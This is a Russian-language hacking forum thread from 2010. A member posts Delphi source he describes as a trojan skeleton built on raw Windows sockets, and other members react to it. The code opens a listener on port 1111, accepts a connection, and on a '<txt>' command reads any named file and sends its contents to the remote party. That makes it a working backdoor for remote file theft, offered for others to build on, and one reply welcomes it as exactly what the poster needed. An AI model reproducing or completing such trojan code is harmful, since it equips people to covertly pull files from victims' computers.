gravitas
|
Дата: Понедельник, 06.12.2010, 12:16 | Сообщение # 1
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Обещал поправлять форум сорцами - вот первый.
Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках очень позезная так что выкладываю сие сюда:
Code
program programm1;
uses
Windows,
WinSock, classes;
const
dwTextBufferSize = $1000;
var
WSAData: TWSAData;
lst_sock,
acc_sock: TSocket;
addr: TSockAddr;
lpTextBuffer: PChar;
data_len: integer;
i:integer;
tf:string;
aa:string;
f:textfile;
buf: String;
dd:string;
sl: TStringList;
sText : string;
function FileExists(FileName:string):boolean;
var
FindData: TWin32FindData;
begin
Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
end;
procedure remote;
begin
dd:='Такого файла не существует!';
lpTextBuffer := '';
GetMem(lpTextBuffer, dwTextBufferSize);
WSAStartup(MakeWord(2, 0), WSAData);
lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
addr.sin_family := PF_INET;
addr.sin_port := htons(1111);
addr.sin_addr.s_addr := INADDR_ANY;
bind(lst_sock, addr, sizeof(addr));
listen(lst_sock, SOMAXCONN);
acc_sock := accept(lst_sock, nil, nil);
while true do begin
data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0);
lpTextBuffer[data_len] := chr(0);
if Length(lpTextBuffer) > 0 then begin
if copy(lpTextBuffer,1,5) = '<txt>' then begin
tf:=copy(lpTextBuffer,6,256);
if fileexists(tf) then begin
sl:= TStringList.Create ;
try
sl.LoadFromFile(tf);
sText := sl.Text;
// ---------------------
finally
sl.Free;
end;
send(acc_sock, stext[1], length(stext), 0);
end else send(acc_sock, dd[1], length(dd), 0);
end;
end;
end;
closesocket(lst_sock);
closesocket(acc_sock);
WSACleanup();
FreeMem(lpTextBuffer);
end;
begin
remote;
end.
Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение\обработка\передача текста через сокеты). Порт - 1111.
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
gravitas
|
Дата: Понедельник, 06.12.2010, 12:21 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Клиент не выложил специально (и вам не советую, а то как дам банхаммером за то что у людей отберете новые знания, которые бы они приобрели (если не знают) при создании ). Ибо если вы себе сами даже клиент (не на апи) для этой вещи написать не можете, то тут вам делать явно нечего... 
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
cool1
|
Дата: Понедельник, 06.12.2010, 15:36 | Сообщение # 3
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
СЕНКС как раз то что мне надо!

За помощь ставьте +!
|
|
|
|
C@T
|
Дата: Понедельник, 06.12.2010, 20:33 | Сообщение # 4
|
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
|
Quote (gravitas)
Клиент не выложил специально (и вам не советую, а то как дам банхаммером за то что у людей отберете новые знания, которые бы они приобрели (если не знают) при создании ). Ибо если вы себе сами даже клиент (не на апи) для этой вещи написать не можете, то тут вам делать явно нечего...
на самом деле большинство людей не тупо юзают чужие исходники(классы, компоненты) а они либо просто смотрят на реализацию и берут что-то себе либо просто смотрят и делают что-то похожее но свое
рас уж затронули тему сокетов то вот вам пример моего НТТР клиента (проски поддерживается )

Сообщение отредактировал C@T - Понедельник, 06.12.2010, 22:19
|
|
|
|
gravitas
|
Дата: Суббота, 11.12.2010, 20:56 | Сообщение # 5
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (C@T)
на самом деле большинство людей не тупо юзают чужие исходники(классы, компоненты) а они либо просто смотрят на реализацию и берут что-то себе либо просто смотрят и делают что-то похожее но свое
Если бы...

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|